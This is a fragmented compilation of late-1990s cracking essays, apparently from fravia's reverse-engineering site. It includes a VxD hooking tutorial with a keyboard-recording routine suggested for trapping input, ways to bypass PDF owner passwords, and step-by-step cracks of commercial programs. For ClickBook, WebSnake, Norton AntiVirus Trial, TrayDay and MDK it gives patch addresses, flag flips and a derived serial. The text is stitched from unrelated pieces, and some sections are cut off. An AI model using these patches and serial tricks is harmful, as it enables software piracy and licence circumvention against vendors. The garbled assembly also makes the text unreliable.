:16F4 56 push esi
:16F5 E806F9FFFF call 1000_Abort_funct
:16FA 83C408 add esp, 00000008
:16FD_return true
:16FD B801000000 mov eax, 1 ;flag return value TRUE
:1702 EB02 jmp 1706_keep ax_&_ret
:1704_ax=0_and_ret
:1704 33C0 xor eax, eax
:1706_keep_ax_and_ret
:1706 5F pop edi
:1707 5E pop esi
:1708 5B pop ebx
:1709 81C444010000 add esp, 00000144
:0040170F C21000 ret 0010 ;bye MainWndProc
Well, we are almost DONE! We'll tackle the device driver in the next (and last) part.
(c) fravia+ 1997. All rights reserved.
You are deep inside fravia's page of reverse engineering, choose your way out:
filemon1 filemon2 filemon3 filemon5
homepage links anonymity +ORC students' essays tools cocktails
antismut search_forms mailFraVia
is reverse engineering legal?
Well, a very interesting essay... I wrote it myself! :-) This essay will be divided in five (or more)
parts:
A = Introduction to filemon
B = reverse engineering without source code
C = Filemon reversed
D = Back to Main
E = VXD vagaries and mysteries
Although already disponible, this essay is still under construction and will be modified and
ameliorated until the wording below will disappear (I reckon until mid-October)
UNDER CONSTRUCTION
REVERSE ENGINEERING EXERCISES FOR THE MASSES - (2e)
How to reverse engineer a Windows 95 program: filemon
~
Part E: VxD vagaries and mysteries
engineering). A first explanation of the delay can be condensed in this short sentence: VxD
reverse engineering is difficult because VxD programming seems to have been a sort of "black
art", reserved to few "afecionados"... remember that back in the times of Windows 3.0. you where
not even ALLOWED to program VxD unless you where Micro$oft certified... I'm not jocking...
Micro$oft always loved to keep knowledge of its Oss "guts" half secret...
Let's start from the beginning... it's all a question of hooks by the way... remember the good old
DOS hooks? You intercepted some interrupts (hooked them) and wrote your routines. The
intercepted pointers pointed to your code, which executed and, at the end, returned control to the
"correct" interrupt... many protections (and many viruses) where based on this hooking, have a
look at +ORC's (very old) example for UniversalMilitarySimulator_I or at any disassembled virus
of the early '90 and you'll immediately see what I mean.
Well, the new hooks for Windows 95 have been placed at the lowest level possible: the virtual
device (VxD) level... and this gives programmers (and reverse engineers :-) quite a lot of input and
output control, as you will see.
(Please don't take all too seriously my jokes -in this part of the tutorial- about "white" VxD
reversing and "black" VxD writing)
implement them. I'll use a lot of the code and of the text of that article in this part of my tutorial... I
believe that it is worth reading.
Basically the point was to underline the difference in "hooking" between Windows 3.1. and
Windows 95, using a "recorder" program, like the one inside the main utility group of Windows
3.1., which disappeared in windows 95 (Mark Russinovich and Bryce Cogswell give the code for
a Windows 95 recorder in that same article).
EVERYTHING GOING ON INSIDE THE GUTS OF WINDOWS and gives you the control to
completely change its behavior.
Just like old DOS interrupt hooking, once a service is hooked, any VxD or application calling the
service gets redirected to the hooker VxD first. So your hooking VxD takes control: you can
choose to pass the request on to the next VxD of the chain, CHANGE THE PARAMETERS to the
request and pass the same request on "MAGICALLY ALTERED", or service the request itself
yourself... yes, yes, your +cracker brain begins now to perceive the huge power that this can give
us (and not only in reverse engineering and patching targets... future windows virii writers, are you
reading this? :-)
Mark Russinovich and Bryce Cogswell's recorder must hook the Virtual Keyboard Driver VxD
service D0012 @ 00000E00 VKD_Filter_Keyboard_Input (we'll see very soon how to get these
VxDs disassembled and how to get these data out of them :-). This service is called by the VKD
itself (VKD.vxd) upon keyboard input. The service was written with the sole intention that some
other VxD would hook it to record, and possibly alter, keyboard input. Let's have a look at the
VKD call to the service and to the service itself:
ONE
...
; VKD calls its own service with input
mov cl, scancode ;scancode is the
keyboard input
VxDCall VKD_Filter_Keyboard_Input ;call the service
jc noinput ;if carry set kill the
input
...
And this is the disassembly (wdasm89) from VKD.vxd:
Micro$oft SDK... let's go on to the second interesting listing from our "historical" target record...
TWO
; default filter service
BeginProc VKD_Filter_Keyboard_Input
THREE
;=============================================================
; Record_Keyboard - Records keyboard input into the input buffer.
; Entry: CL - Scancode of key pressed.
;==============================================================
Public Record_Keyboard
BeginProc Record_Keyboard, Hook_Proc Keyboard_Proc
push eax
push ebx
; record the input
mov ebx, Buffer_ptr
cmp ebx, offset32 Buffer + BUFFER_SIZE - sizeof
REC_mouse_entry
jae rk_done
mov [ebx].rectype, KEYBDTYPE
mov [ebx].scancode, cl ; scancode is in
cl
push eax
mov eax, System_Time
mov eax, [eax] ; get the
timestamp
mov [ebx].timestamp, eax
pop eax
add ebx, sizeof REC_kbd_entry ; move forward in
buffer
mov Buffer_ptr, ebx
mov [ebx].rectype, INVALIDTYPE ; mark end of
macro
; call the previous hooker
rk_done:
call Keyboard_Proc
pop ebx
pop eax
clc ; let the key
through
ret
EndProc Record_Keyboard
We'll later examine more deeply the above code, for the moment just get a "feeling" for this stuff.
Let's go on.
To alter input, a hooking VxD simply changes here the value of the CL register to a new scancode,
to kill input, the hooking routine sets the carry flag before it returns. The recorder VxD hook
procedure saves the value of the CL register (and the current time) into a buffer. Listing TWO,
above, hooks the service, while listing THREE, above, is a keyboard-recording routine (that you
may also find useful for incorporating in your own probes... in order to trap keyboard input...
should you ever need to do something like that :-)
If you do, you'll see at the bottom the following very interesting "DDB" table:
Windows does not use imports but instead uses INT 20h dynamic
links that are fixed up on the fly. In assembler these calls
are in
the form VMMCall, VMMJmp, VxDCall & VxDJmp. Windows only
exports a
single pointer to the DDB a device driver header, this header
contains
function exports that other VxDs can call with the dynamic
linking
described above. When known the name associated with a dynamic
function
number is displayed (by dumplx.exe)
Yes, we begin to understand... we are now almost ready to begin our holy VxDs reversing... let's
see if we really have all the necessary weapons...
VxD reversing "white" tools (as alternative to the "black" SDK suite :-)
Let's resume the VERY important tools that you'll need on your VxDs endeavour:
The vxdlib.exe unpacker/extractor (otherwise there is no "dead listing" of Micro$oft's VxDs)
The dumplx.exe dumper (otherwise you won't get the DDB service table)
vxdmon.zip (60.260 bytes) by "our" duo: Mark Russinovich and Bryce Cogswell another
important tool to study "alive" the working of VxDs
Obviously there is a SoftIce approach as well (SoftIce has everything)...
VXD This command displays the VxD map in the command window, you may use the VxD
names to set breakpoints at the entry points of the VxD service routines you are interested in (you
may also use VXD WINICE to see Softice own VxD :-)
VCALL display the names and addresses of VxD callable routines (note that the addresses
displayed are NOT valid until the VMM VxD has been initialized. Here an example:
VCALL Call*
TO BE CONTINUED
I showed you two examples above. Now let's see how register's code calls these services: (you'll
find the code inside the file "record.asm" For instance this snippet, that we have already seen
above:
DDB Entry
00000000 DDB_Next
0400 DDB_SDK_Version
0000 DDB_Req_Device_Number
1.00 DDB_Device_Version
0000 DDB_Flags
RECORD DDB_Name
80000000 DDB_Init_Order
00002080 DDB_Control_Proc
00000000 DDB_V86_API_Proc
00000000 DDB_PM_API_Proc
00000000 DDB_V86_API_CSIP
00000000 DDB_PM_API_CSIP
00000000 DDB_Reference_Data
00000000 DDB_Service_Table_Ptr
00000000 DDB_Service_Table_Size
00000000 DDB_Win32_Service_Table_Ptr
50726576 DDB_Prev
00000050 DDB_Size
52737631 DDB_Reserved1
52737631 DDB_Reserved2
52737631 DDB_Reserved3
You are deep inside fravia's page of reverse engineering, choose your way out:
filemon1 filemon2 filemon3 filemon4
(1 November 1997)
I don't know if it's anything you can use for your site, but it is
perhaps a starting point, and a good reference for anyone who
is interested tackling PDF in a more meaningful way.
Now lets examine how they are handling their Portable Document
Format. It would be nice if they were out just to make the world a
better place for everyone to live in, as +ORC (as well as myself)
would like to see, however they are at the bottom line just
attempting to make money. However, this is not necessarily
completely intrinsically evil.
I would like to point out that while Adobe controls the PDF format
they have published the specifications and made them freely
available (I will list all my URL references at the end of this
message). Furthermore, while it costs 500 bucks to join their
Developer club, they also have released the Adobe Acrobat SDK for
free -- so theoretically, anyone else, any company or individual,
could create their own PDF creator/filter without even the need to
reverse engineer, or otherwise hack the format.
forces. The standard has barely been adhered to, and the bullies of
the market have brutally forced (sometimes contradictory)
extensions into the format.
Finally, if anyone out there just wants to make a quick PDF there
is a free service offered on the Net (as of the time of writing
this it has been running for a year or more) to create PDF files
for anyone. All you need to do is upload a PostScript file to his
FTP site and it automatically is run through Acrobat Distiller and
placed in his outgoing directory usually within a few minutes. I
will give the URL below.
The locked PDF document is not the most secure thing on Earth. (-:
There are not yet any known cracks for the USER password, although
much about the encryption scheme is known. At very least brute
force crackers should be fairly easy to create for those into that
sort of thing.
1.
The first method we will call the "Twiddle Method". This apparently
involves directly manipulating/editing the raw PDF file to modify
security options. I can't tell you how to do this, but can only
report that it has been done. To find out information about this go
to www.dejanews.com and enter the following power search on the OLD
news database: ~g comp.text.pdf & ~a laird & password
The person who has evidently done this hacking has the following
web page where he discusses it, however he does not share his tools,
code, or specific information. I do not know whether he is willing
to give this information out or not. Kevin Laird can be reached at:
http://www.ecn.purdue.edu/~laird/PDF/
Kevin Laird even has rigged up a CGI on his site where you can
submit the URL of a PDF file (along with the USER password if
needed) and his CGI will fetch the document and regardless of
any OWNER security settings convert the thing to a plain
PostScript file and send it back to your browser.
2.
The relatively painless way anyone can defeat the OWNER password is
by using GhostScript. Older versions of GhostScript required a
special source code patch which enabled bypassing the OWNER
password. With newer versions things are even simpler than that.
You can use the standard GhostScript distribution and just replace
the pdf_sec.ps file with a special one which gets you past the
OWNER password. Information about this GhostScript hack and where
to find it is here: http://www.ozemail.com.au/~geoffk/pdfencrypt/
3.
Finally, if you have acrobat distiller and the "print" option has
not been disabled, you can simply print the PDF file you are
viewing to a new postscript file and run it through distiller
effectively creating a new PDF file stripped of all security
settings. This method however will lose any SPECIAL PDF attributes
such as thumbnails, bookmarks, notes, or hyperlinks, but it's very
effective on basic PDF files.
For those who would like to go further and try their hand at
breaking the PDF encryption there is an excellent page which
details (more detail than the PDF specifications) some of the
aspects of the technical encryption method PDF employs. It is here:
http://www.hedgie.com/passwords/acrobat2.html
I'm sorry I'm not advanced enough myself to get into more technical
Happy hacking.
There are a lot of misconceptions about the PDF format out there.
Most people don't know how it's created, and it is endlessly
frustrating how "Adobe Acrobat" (the entire "Pro" package used to
create/edit/publish PDF documents) and the mere "Adobe Acrobat
Reader" are constantly thought to be the same thing.
It is not strictly true that his is not strictly true that PDF can
not be edited -- anything in electronic form can be edited.
PostScript files even can be edited if you have the right tools. It
is just that PDF, like Postscript, is not designed to be edited, it
is designed for display/printing primarily.
PDF can be modified and edited will Adobe Illustrator quite easily
(if it's not password protected in any way). There are third party
also plug-ins available for Adobe Exchange which allow some text
editing. (Adobe Acrobat Exchange is part of the Adobe Acrobat full
package. It is like the Acrobat Reader, except it can edit
security options, open options, create hyperlinks and bookmarks,
and other PDF touch-up related functions. When Acrobat Exchange 3
was in beta it was released to the public as a time-limited demo/beta.
This is long gone, but copies can still be found some places under the
filename, and a crack by MJ13 is available to remove the time limit).
However Adobe has released a plugin for the Acrobat Reader which
will export any PDF file to HTML or Plain Text... the results are
This service is also available via the internet on the fly. You can
go to http://access.adobe.com and enter the name of any PDF file on
the net. Adobe will fetch it, convert it to HTML and send the HTML
to your browser. Any (non-password protected) PDF file on the net
can be viewed (although the results aren't necessarily pretty) in
any web browser (even Lynx) without needing the Acrobat Reader or
Plug-in. This was primarily designed so that people with visual
disabilities could access PDF documents more easily, but it can be
useful for anybody.
If you ever look around on "warez" pages you will see links to
"Adobe Acrobat" on most of them! These always link to the FREEWARE
Acrobat Reader. If you needed any more evidence on how lame nearly
all warez web pages are, there you go. The actual full Acrobat
package is next to impossible to find as 'warez' on the net. In
fact I've looked long and hard and have never yet found it in a
complete and uncorrupted format. Of course it's out there somewhere,
and I'm not exactly elite, but all I'm saying is it's damn hard to
find!
PDF Hacking/unprotecting:
------------------------
http://www.tinaja.com/text/insecure.html
http://www.ecn.purdue.edu/~laird/PDF/
http://www.hedgie.com/passwords/acrobat2.html
You are deep inside fravia's page of reverse engineering, choose your way out:
by Snatch
10 February 1998
Snatch '98
Snippets
http://www.ffg.com/wp/clickbook.html
It prints booklets that are a great paper saver. Only thing is the
damn demo prints a box on every page with the words "TRIAL VERSION" as
well as the site address - "www.ffg.com". This was too irritating for
words and so I ran it thru WDASM looking for the words Trial Version
which were found scattered all over.
While examining the code I noticed that every time a shareware notice
as present there was also a normal notice. This seemed to be too easy.
Also the program checked location 00401E6E and if 0 jumped to good and
anything else was bad and demo.
So I searched for this location to see where the flag was being set. I
found it being set at 3 locations.
Load the program again this time trace into the call. and after
stepping a lot and after a check to some value in the registry, we
arrive at this code:
Believe me IT IS. Change the mov eax, 1 to mov eax, 0 and let the
program run. Print a document and preview, no box spoiling the output.
Thats it. We are done. Except for the ABOUT dialog saying we are not
registered, the program works beautifully and even displays
"Registered to" on the main screen.
VisualBB
Websnake version 1.22 (fetch a whole site on da web) by A+heist
Find it on da web... you are supposed to be a master searcher :)
Hi frav,
Here they protz a little, yet read and you'll understand why I
wanted to try it out, and why you'll want to try it out and
why everyone will want to try it out:
Download a website for off-line browsing, which means you can
view the entire site on your own computer much faster than if
you were on-line. And, you save money on dial-up costs, too!
Duplicate or mirror a website, including the directory structure.
Great for webmasters and web designers to see how a website
is setup.
Copy e-mail addresses referenced in a websites HTML files.
These e-mail addresses can later be exported into a comma or
tab delimited database file. The applications of this range
from simple research to broadcast e-mail marketing.
Build a map of the HTML files referenced in a website.
Need to know the structure of a remote website? This is
your tool.
Search for specific keywords on a website. Get the information
you need in a flash.
Retrieve specific types of files like all the cool graphics,
sounds (WAV files), or movies (AVI files). WebSnake automatically
downloads anything you want quickly and easily.
Here we go:
:Check_luser_status
:1000736E 3DEE550000 cmp eax, 000055EE
:10007373 7464 je 100073D9
:10007375 3DCB590000 cmp eax, 000059CB
:1000737A 745D je 100073D9
:1000737C 3D1A750000 cmp eax, 0000751A ;is he registered?
:10007381 0F84B2000000 je 10007439 ;yes, go go go good guy
:Check_luser_really_registered
:10007439 833D1861011000 cmp dword ptr [10016118], 00000000
:10007440 7413 je 10007455 ;ok, good guy
:10007442 833D1461011000 cmp dword ptr [10016114], 00000000
:10007449 750A jne 10007455 ;ok, good guy
:1000744B 83C634 add esi, 00000034
:1000744E 684F750000 push 0000754F ;"Retail Version"
...
:OK_good_guy
:10007455 83C634 add esi, 00000034
:10007458 684A750000 push 0000754A ;"Your software is registered. Thank
you."
Well that's it, I'm afraid: stupid, much too stupid scheme.
May be the target could be useful: dunno, never tried it yet,
don't have the time to surf much with my fukin Uni and all the
fukin essays you keep publishing and I have to read to keep abreast :)
A+heist
Now you are in Soft-Ice window, Before we analyse the code "we.class"
tppabs="http://fravia.org/we.class" need to study
the X86 flag register.
1110FEDCBA9876543210
CF Carry Flag
1
PF Parity Flag
0
AF Auxiliary Flag
0
ZF Zero Flag
SF Sign Flag
TF Trap Flag (Single Step) ***
IF Interrupt Flag
DF Direction Flag
OF Overflow flag
IOPL I/O Privilege Level (286+ only)
NT Nested Task Flag (286+ only)
0
RF Resume Flag (386+ only)
VM Virtual Mode Flag (386+ only)
Ok, lets explore the first few instructions in the protected program....
Well above part is to disable the Trap Flag. If the Trap Flag is on then
processor switch back to single step mode. Most universal Unpackers uses
this method to trace through the code. Ok lets analyse the code further
down.
Code MOV DH,CH has no effect until the jump instruction executed. Within
the code you will find lot of these JMP's directed to OUT DX,AL. Ignore all
of them and countinue.
Normally Int3 code has only IRET instruction. Lets check the new int3
ISR...
U 246
In here int3 used to copy the contains of AX to DS.. Let's explore the
code again..
If you are going through the code, You will find lot of Keyboard disable
routines & interrupt masking(keyboard Int masking) routines inside the
code.
Bypass all of them (I think everybody knows to bypass those lame tricks)
and next you will landed on CRC checking routine. Go through the code until
you find this.
Put a Break Point on XXXX:0211. Otherwise it will loop you until SI=8AF7.
Again you will see keyboard & interrupt Enable routines in the code
window. Go through the code until you see this..
This part is to check the calculated CRC with the program contains. If
match go ahead. Else you will landed in a CRC failed message & dump into dos.
Mmmm Ok go through the code until you see this.
Above FAR JMP take you to the original code of your programm...
Above methods are good. But the sad protector's only (MAIN) problem
is what I would call an "implementation lacks".
I think that the Coder only tried to protect the program from
LAMERS. Otherwise he would of course have implemented this program
better than that.
Ok, now for the most stupid readers, Using a hex editor you can change few opcodes in
this
program. Find those opcodes and change. Then use TRON to unpack it.
Shhhhh!
If you have any problems contact me...
undertakerd@hotmail.com
NOTE - If you compressed the program before running protexe. Then above
OFFSET address can be changed. Also you can down load the PROTEXE
program in FRAVIA's PAGE.
REST IN PEACE
One little sidestep: sometimes I prefer to use Micro$oft Developer Studio, because Borland's Tool
tends to crush when processing the menus:( Using Bill's tool I always get a strange warning
messagebox, saying: "You may be anable to save the resources! back to file, because you are
probably using a version of operation system which does not support editing the resourses in the
executables". AHA ! Well, Borland's editor doesn't seem to have this problem, Bill !. You are trying
to scare me off from editing! the Micro$ofts own programs. Well, lets get back to our NAVW32...
Trying to look at the resourses in other files and after reading a number of colorfull dialogs, I found
out that Symantec is not using their own protection sheme, but some company which provides
online registering service of different software. They eve! n have a whole DLL containg a so called
"Sales Agent". Strange thing that I found some references to Micro$oft Front Page in those dialogs,
that probably means, that Micro$oft are also using that "Sales Agent".
After finding the id of the dialog which popped up at the startup I quickly searched for it in the
dead list. The following code was interesting:
Well as you can see the our dialog box is lying in the chain of other dialog boxes for some other
nagscreens and stuff... But the first thing which poppes up is the cmp instruction at the first line. It
looks very suspicious as it jumps over the bunch o! f the nagscreens, and the location in memory
looks very much like a flag !
I tryed Softicing it and found out, that memory location is only touched once befor this compare...
it is zeroed somewhere in the startup code ! So there is a quick crack:
:004024B2 mov dword ptr [0042173C], 00000001 <--- Place a fake flag
:004024B9 jmp 0040260D <--- Jump over MANY dialogboxparam's
The move is nessesary, cause there can be more places where the flag is checked, but this place is
the First.
The main scanner is done... no more nagging. Other four executables are cracked similary, they are
compiled exactly as this, even with the same opcodes at the same addreses. This comfirmes that the
files were processed by Sales Agent wrapper.
Suddenly after a few days of using the software I adjusted my system clock and a window from the
resident scanner popped up saying that I am using a timed software and I may not change the time.
I realised that there are some more places where the files! need to be patched.
I set my clock to year 1999, and loaded the NAVW32 in to the SoftIce again and quickly patched it
in one more place.
I thought that the crack was done when I suddenly noticed that there were loading two copies of the
resident scanner one as an executable another as a dll. That looked like a very "unclean" crack, so I
decided to take a very serious look at the whole th! ing again.
In the installation directory I found a few executable files which were called almost the same as the
main scanner, resident scanner, and other antivira tools, but they were ending with POP, like
NAVW3POP.EXE. Theese files also had a exact size and even! icon. I launched one and got a
standart windows animated "file copying" dialog box which terminated in a few seconds and
showed an error message saying:
"You can't run this program now, but leave it where it is because the system will need it later". Hey
that looks like some kinda selfextracting installation file.
I loaded it in the wdasm peeked at it's code... Some interesting opcodes were found:
...
Animated dialog which shows files beeing copied
...
:00401F30 Call KERNEL32.SleepEx <--- They want us to see their creative dialog for 2 seconds :)
:00401F36 call 00401CF0 <--- Some naughty routine which tends to return an error code "of.class"
tppabs="http://fravia.org/of.class" -1 or 0 for beggar or 1 for coolguy
:00401F3B cmp eax, FFFFFFFF <--- Compare to minus one
:00401F3E mov ebx, eax <--- Make a copy of error code "for.class"
tppabs="http://fravia.org/for.class" future reference
:00401F40 jne 00401F4E <--- if not -1, then DON'T QUIT YET
;DON'T QUIT YET, just "prepare" for quit, cause BX can still hold 0 or 1
:00401F4E mov esi, USER32.PostQuitMessage
:00401F54 test ebx, ebx <--- if BX=-1 or BX=1 then goto msgebox with error
:00401F56 jne 00401F8F <--- IMPORTANT JUMP
...
;Quitting with a messagebox containing "You cannot run this application at this time."
...
:00401F71 mov edi, USER32.MessageBoxA
...
:00401F87 call edi
:00401F89 push 00000000
:00401F8B call esi <--- ESI is PostQuitMessage as you remember from above
:00401F8D jmp 00401F95 <--- Jumping outta the program
As you can see, the code loads EDI and ESI with addresses to PostQuitMessage and MessageBox,
threatning to call them if the value in EBX is not equal to 1. Therfor the patch should put a value of
1 in the BX somewhere after the naughty routine call and ! before the great EBX checking starts...
This task can you perform yourself, because when I first cracked it I was tired and therfor patched
the previous code in TWO locations...but now I can see a pretty easy to do it in one.
After patching the file is unpacking without any trouble and it replaces the "fake" wrapped
Symantec Utilities with a real, clean, and without any nags utilities. The patch is performed on all 4
*POP.EXE files which have the same code at the same adress! es. After the execution of the
poppers they may be deleted together with the SalesAgent DLL. You can even patch those poppers
in the softice memory and let it run afterwards unpacking the whole thing, the crack only needs to
be there on their first run. Tha! t was it, Norton AntiVirus Trial Edition is cracked.
Note at the end: There is a single DOS application included in the Symantec package, which is
used under the boot before Windows loads. Because it is a DOS application I didn't take a look at
it, as I prefer cracking win stuff, so if there are! somebody who can finish my work they are
by RMD+
tutorials,
where +he said about how
ECHOs of the proper
serial Number
are left lying about in
the data window.
Fire Up Winimage go to
the Registering bit and
enter your
name and a fake serial,
so in my case RMD+ and
12345.
CTRL+D to SOFTICE
and
http://www.instinct.org/fravia/snippets.htm (13 of 24) [2/7/2001 3:20:56 PM]
advanced
BPX GETDLGITEMTEXTA
0040F242 LEA
EAX,[EBP+FFFFFF14] ;you
see the text
second serial
RMD+
Most of today's com packers & protectors can be removed using DOS
debug. Many young crackers seem to have forgotten the mighty power
of this very small and powerful utility: "the swiss knife of all
crackers", as Master +ORC wrote.
This method is very useful, If you don't have tools around you. Also it
works with most of the popular packers & unpackers.
Actually DEBUG is a very powerful tool when it comes to the handling
of com files.
In those almost forgotten days, our bane micro$oft wanted to grab the
market by producing good programs, an approach they have long forgotten,
seen that it is now easier to grab the market bankrupting the adversaries.
Before we start this approach, let's check how com files are organized.
Com files are memory images that do not have any relocatable item.
They can only fit into one segment (SS,ES,DS = CS).
Com files are slightly faster than the exe files, when it comes to
execution (bet you didn't know it).
Com files do not have a header nor a checksum, like exe files.
At the time of loading the com file. ES,DS,SS,CS are pointed to PSP.
Well, the information above will help you to handle com files.
Ok, let us start the work. You'll see how you can UNPACK a
file packed using an unknown packer using old silly debug!!
DEBUG CO.COM
-r
AX=0000 BX=0000 CX=0F6D DX=0000 SP=FFFE BP=0000 SI=0000 DI=0000
DS=20AB ES=20AB SS=20AB CS=20AB IP=0100 NV UP EI PL NZ NA PO NC
20AB:0100 B80524 MOV AX,2405
-
Once you uncompress the program you will have to "adjust" the value of
CX, of course.
To uncompress the file just use the command go (g) and exit from the program.
Then you simply land inside the debugger.
-g
After having exited the program you will see the following message:
Ok, Now you have got in memory the original(Uncompressed) file (of course: the
point of any compressor is to compress a file UNTIL IT MUST RUN, duh).
To Verify that you have an uncompressed program, you can chek the Unassembly
listing by typing (u).
-u100
20AB:0100 E9B903 JMP 04BC
20AB:0103 0A434F OR AL,[BP+DI+4F]
20AB:0106 2031 AND [BX+DI],DH
20AB:0108 2E CS:
20AB:0109 3020 XOR [BX+SI],AH
20AB:010B 286329 SUB [BP+DI+29],AH
1. RET --> C3
2. INT 20H --> CD 20
3. MOV AH,4C
INT 21H --> 4C CD 21
4. MOV AX,4C00
INT 21H --> 4C CD 21
5. INT 27H --> CD 27 (For TSR's)
6. MOV AX,3100
INT 21H --> 31 CD 21 (For TSR's)
-s cs:100 ffff 4c cd 21
20AB:0646
-
1. Search the program starting from 100h to the end of the code & data.
Some times after the code starts all the data.
This is easy to detect: dump the program (d) starting from 100h and
just have a look at the code.
Once the program code & data are over, you can identify the rest
of the area easyly.
In fact, once the program is over, you will see some path settings &
Ascii strings. Now write down the offset address were
the program ends.
(To use this methods you need a good expriance of X86 assembly
OPCODES. By the way, getting this experience you will learn how to
detect patterns)
Lets say that we think that the program ends at offset 1105.
Now he have to take off the starting 100h, because all com programs start
from 100h. To do that we can use a Debug command of course...
-h 1105 100
1205 1005
-
-rcx
CX 0F6D
:1005 -- Our calculated program length.
-n test.com -- New name for uncompressed file. (TEST.COM)
-w -- Write test com into the disk.
Ok, feeling the end of the code was not really difficult...
Lets pass over to option 2.
Ok... Now using debug -as you can see- you can get the unpacked file.
In fact debug is the most effective generic unpacker for com files.
This is fairly known, and therefore many packed files may contain various
If you find more than one INT 3 in the packed code just repeat the above
steps. If there are too many INT 3, just use your hexeditor's replace
function and nop every single one of them.
Anyway, once you have bought for the price of two pizzas
your 80286, go fishing on the web and fish some interesting
viri (with assembly source code) out of the net.
Now handle evrything with care and pour them into your
acquarium, infecting all the fake files you have installed
there.
Now try first to see if you can identify and remove them
from your infected (fake) files using only debug WITHOUT
and your 'feeling', without looking at their source code!
(You wont, at least not at the beginning :-)
Now study their source code, watch them 'alive', eating
your files, kill them with YOUR OWN probes (and not with
Norton's cram)
You'll learn an incredible amount of assembly doing this!
It's fun, great fun! (Yet keep a copy of F-prot handy :-)
A final thank goes to all the +HCU's guys and to master +ORC.
Keep up the good work Guys!!.
Also Special thank goes to Fravia+ and +gthorne for their great
contribution to our small reversing world.
I cracked this and I've written an essay on how i did it. I'm a newbie,
so I can't be sure it works, but i've tried to start it up with the computer
clock set to many different dates, and used it a few times after i cracked it
and it does seem to work. (of course with a invalid reg-code)
----- here starts the essay (a big word for this small piece of text) -------
Target:
Fastraq Post Server (version 0.7.5.20, post.exe = 2.336.768 bytes)
Download from: http://www.fastraq.demon.co.uk/post
Tools used:
Wdasm 8.9 (free demo version will do)
Download from: http://www.expage.com/page/w32dasm
Ultraedit (free demo version will do, any decent hexeditor will do)
Download from: http://www.download.com.
That seems to be it. In many essays the Authors give the impression
to be perfect, and never mentions the mistakes that they have almost
surely made, well i did make some:
Well, otium esse melior est non facere, so that's it for now.
Cybercurve cybercurve(at)cryogen(point)com
What can I say more, it's basic and straight forward .... No extra's or heavy coding
Introduction
This is a useful hack of the beginner .... Reading through the essay we find a poorly
protection
scheme which also has a mistake (you can find this when you reverse a newer util
tray-text) but
more about this in the ending notes of this essay ... I'm not a talker, just a
reverser!
Tools required
The one and only SOFTICE 95 ver. 3.0 (or more)
Target's URL/FTP
http://www.mjmsoft.com/
Essay
Okay let's start....
Crack into soft ice (crtl-D) and search for the serial you returned.
30:80D9892A
BPM 80d9892A
Exit soft ice (F5) and hit the OK-button. We land right back into
soft ice, in the kernel at HMEMCPY....
okay now we need to reach the code-segment of tray day... I did it
by pressing the F12-key (p ret <enter>) until you reach the
code (9 times).
You will reach a part that look like this (disable the BPM):
And see what happens! Registration succesfull! But it'is only for now...
If you exit the program and start it again, you'll notice that you have
been... FOOLED!
Okay let's go in softice, enable the BPX only, go back to Win 95, start
trayday, enter a bogus serial and a bogus name and hit the okay-button...
tatatataaa! Back at the entry point...
Now trace into the call at marker 'Here 1' and see what we have there
At marker 'Here 3' EAX will be loaded with the location of the serial
you entered.
Okay just step gently through the code... At marker 'here 4' the last
number of your entered serial is loaded in CL (remember serial could only
be 8 digits long).
Right after that, it is compared with '38' which is 8 in ascII.
So now we know that all serial numbers must have a 'hard-wired'
8 at their end in order to pass this "new" check.
R ECX 38
to fool the protection -for now- and let's go futher inside our
target's code.
At the marker 'here 6' the first digit of your serial is fetched.
'The big compare' , is the first 'KEYED IN' digit the same as the
calculated one. For us this was a 1 (31).... but the code wants 6 (36)
okay write this number down, he wants a six, he gets a six: our
code is now
6xxxxxx8
R ECX EAX
63xxxxx8
R ECX EAX
631xxxx8
Look here !!! The FOURTH digit is not used !!! So doing the
same action as before... The code wants now a 5 (35), we gave him
a 1 (31)... so the code now is
631x5xx8
R ECX EAX
R ECX EAX
631x52x8
R ECX EAX
631x5218
:004013B9 B801000000 mov eax, 00000001 <<< Flag of the reg. one!
:004013BE E900000000 jmp 004013C3
Okay now we know the code for 'MaD 96' is '631x5218.. But what
about the fourth digit.. let's try just a number ... I picked 4 , just key in
the complete serial (disable all Breakpoints first) and see ... we are a
winner ... just pick any number you like for the fourth digit....
Okay Have a lot of fun, and I hope you find what I have
written useful as study material.
Final Notes
This essay was written on 9 January 1998, for my own site, and most
important, as a reference for later works... After using this util for a
while I cracked Traytext (It's from the same guy) because trayday already
saved me a lot of typing work and with traytext you can even paste complete
texts form the systray to your applications...
Well I reversed this target, and of course the proctection is quite
similar (subtract the values in stead of adding ) I found out that the
fourth digit was ment to be a '-'... XXX-XXXX
And that that he did not check it, was probably just a mistake of the
programmer...
Happy hunting... MaD '96 [CPT]
Ob Duh
I wont even bother explaining you that you should BUY this target program if you intend to use it for a longer period than the
allowed one. Should you want to STEAL this software instead, you don't need to crack its protection scheme at all: you'll find it on
most Warez sites, complete and already regged, farewell.
You are deep inside fravia's page of reverse engineering, choose your way out:
MDK 3DFX EXECUTABLE PATCHED TO REMOVE THE CD CHECK - MORE DOS4GW STUFF
More & more, 3DFX & its variants are fast becoming the 'de-facto' for any
serious gamers. When you experience the sheer quality & frame rate improvements
first-hand it's almost a let down to play a non-accelerated game again.
This is all well & good but by its very nature, the disk-intensiveness of many
modern games can cause real problems when you add the 'stupid' CD check routine
- ranging from "Please insert the XXXXX CD in drive X" messages regardless of
whether it's there or not, failures to play red-book audio to a complete game-crash
or system lock-up. (Carmageddon is one such example).
It is therefore in the spirit of "getting the thing to run the way it should"
as much as the spin-off benefit of a CD-less gameplay, that I submit this little
tutorial & would also suggest that a section be started - dedicated to 3DFX
cracking!
Well, call me a plagurist or whatever, but for this little crack I used nothing
more than:
Having read the essay I had an idea of what was going on with this protection
(that +ORC is an amazing guy, how does he work out all this cram?), so I decided
to dissasemble the cracked exe & compare it to the original just to see it for
myself.
Sure enough, just as the man said, there was a compare followed by the setting
of a flag of doom with an optional jump to freedom. Now the sneaky part, 3DFX
exe's are structurally quite similar to native Win95 exe's - ie: both utilise
DirectX & D3D etc.
With this in mind I decided to dissasemble the MDK3DFX.EXE file that I had
downloaded from 3DFX.COM earlier in the day. Again, sure enough, there were
many similarities including data object strings etc. To cut a long story short
all I did was to track down the protection routine by comparing the data & string
positions between the Win95 executable & the 3DFX executable. Having narrowed
Anyway, below is a small excerpt from the 'CD cracked Win95 exe' followed by
the dead-listing to crack the 3DFX target.
****** mdk95-org.txt
:00401D83 833DA699530000 cmp dword ptr [005399A6], 00000000
:00401D8A 7409 je 00401D95
:00401D8C E85F650700 call 004782F0
****** mdk95-crk.txt
:00401D83 833DA699530000 cmp dword ptr [005399A6], 00000000
